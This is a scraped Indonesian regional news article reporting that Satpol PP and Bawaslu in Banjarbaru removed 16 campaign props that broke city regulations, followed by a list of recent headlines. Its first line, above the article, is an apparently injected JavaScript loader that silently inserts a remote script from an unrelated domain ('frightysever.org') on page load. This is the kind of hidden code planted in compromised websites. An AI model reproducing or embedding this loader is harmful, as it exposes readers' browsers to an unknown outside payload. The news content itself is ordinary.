(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Dilaporkan Bikin Kumuh, Satpol PP Banjarbaru Copot APK Melanggar Perda


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 16 titik Alat Peraga Kampanye (APK) yang tersebar di Kecamatan Banjarbaru Utara dicopot petugas Satuan Polisi Pamong Praja (Satpol PP) dan Bawaslu Kota Banjarbaru pada Kamis (18/1/2024) siang.

Kegiatan penertiban itu dilakukan setelah laporan dari masyarakat kepada Bawaslu Kota Banjarbaru per tanggal 9 Januari 2024 lalu.

Kepala Satpol PP Kota Banjarbaru, Hidayaturahman mengatakan laporan yang telah disampaikan sebelumnya telah dipilah menjadi tanggung jawab Bawaslu Banjarbaru dan tanggung jawab Satpol PP Banjarbaru.

Baca juga: Muliadi Tak Bernyawa Tertindih Beton Bangunan di SMPN 6 Banjarmasin

“Beberapa hari lalu Bawaslu datang ke kami untuk koordinasi masalah pelaporan ini, kemudian kita koordinasikan secara internal untuk melakukan penertiban yang juga dilakukan bersama petugas Bawaslu kemarin,” ujar Kepala Satpol PP Kota Banjarbaru, Hidayaturahman, Jumat (19/1/2024) siang.

Dimana, sambung dia, dari 34 APK yang dilaporkan, 16 diantaranya terbukti melanggar Perda di Kota Banjarbaru. Satpol PP langsung bergerak cepat melakukan penertiban.

“Untuk yang menjadi tanggung jawab kami ada 16 titik karena itu melanggar Perda, lalu sisanya ada 18 pelanggaran yang menjadi kewenangan Bawaslu, semua titiknya berada di wilayah Banjarbaru Utara,” sebut dia.

Baca juga: Pengemudi Fortuner Anak di Bawah Umur, AJ Diamankan di Ruang Khusus Mapolres Banjarbaru

Petugas bersama Bawaslu melakukan penertiban APK sepanjang Jalan Karang Sawo, Karang Anyar 1, dan Karang Anyar 2.

Dia menjelaskan, sesuai dengan arahan Bawaslu Banjarbaru, APK yang ditertibkan karena menyalahi aturan seperti terpasang atau ditempel pada pohon, tiang listrik milik PLN, tiang telepon, dan rambu lalu lintas.

“Yang menjadi masalah adalah pemasangan itu ada diikat di pohon, dipaku di pohon, kemudian ada juga di tiang-tiang telepon, dan tiang listrik, itu tidak diperkenankan,” jelas dia.

Baca juga: Gegara Cipratan Genangan Air di Jalan, Lelaki 54 Tahun di Banjarmasin Tusuk Pemuda

Selain itu, petugas Satpol PP bersama Bawaslu juga merapikan APK yang berserakan di sepanjang Jalan Nadjmi Adhani Banjarbaru Utara.

Dijelaskannya, pemilik APK tersebut sebelumnya telah diberikan surat oleh Bawaslu agar melepas APK. Sebab diketahui pemasangan APK itu berada di atas tanah milik PLN.

“Dan ada juga keluhan dari masyarakat terkait pemasangan APK yang membuat kumuh lingkungan sekitar jalan,” sambungnya.

Baca juga: Curi Uang Toko Rp142 Juta di Martapura, Seorang Karyawan Dibekuk Polisi di Tala

Selain atas rekomendasi dari Bawaslu, penertiban APK juga dilakukan atas dasar pelanggaran pada pasal 18 Perda Kota Banjarbaru Nomor 6 Tahun 2014 tentang Ketertiban Umum dan Ketentraman Masyarakat.

Ada pula dasar pasal 24 Perda Kota Banjarbaru No 3 Tahun 2021 tentang Penyelenggaraan Penghijauan Kota dan pada pasal 5 Perda Kota Banjarbaru No 2 Tahun 2011 tentang Penyelenggaran Pemasangan Reklame.

APK yang telah dicopot kemudian diamankan di kantor Satpol PP Kota Banjarbaru. Pemilik APK pun diminta untuk mengambil kembali APK-nya.

Baca juga: Difasilitasi BRIN, Bappedalitbang Banjar Lakukan Penghitungan Jabatan Fungsional Peneliti

“APK yang kami tertibkan itu sudah kami amankan di kantor, dan kami sampaikan pemilik APK diminta mengambil kembali,” tuntas dia.

Beserta APK yang berserakan juga pihaknya mengimbau dan memberitahu pemilik agar dapat menyesuaikan pelaksanaan kampanye ini dengan ketentuan yang telah diberlakukan.(Kanalkalimantan.com/wanda) 

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

1 jam ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

2 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

3 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

7 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

9 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

10 jam ago

This website uses cookies.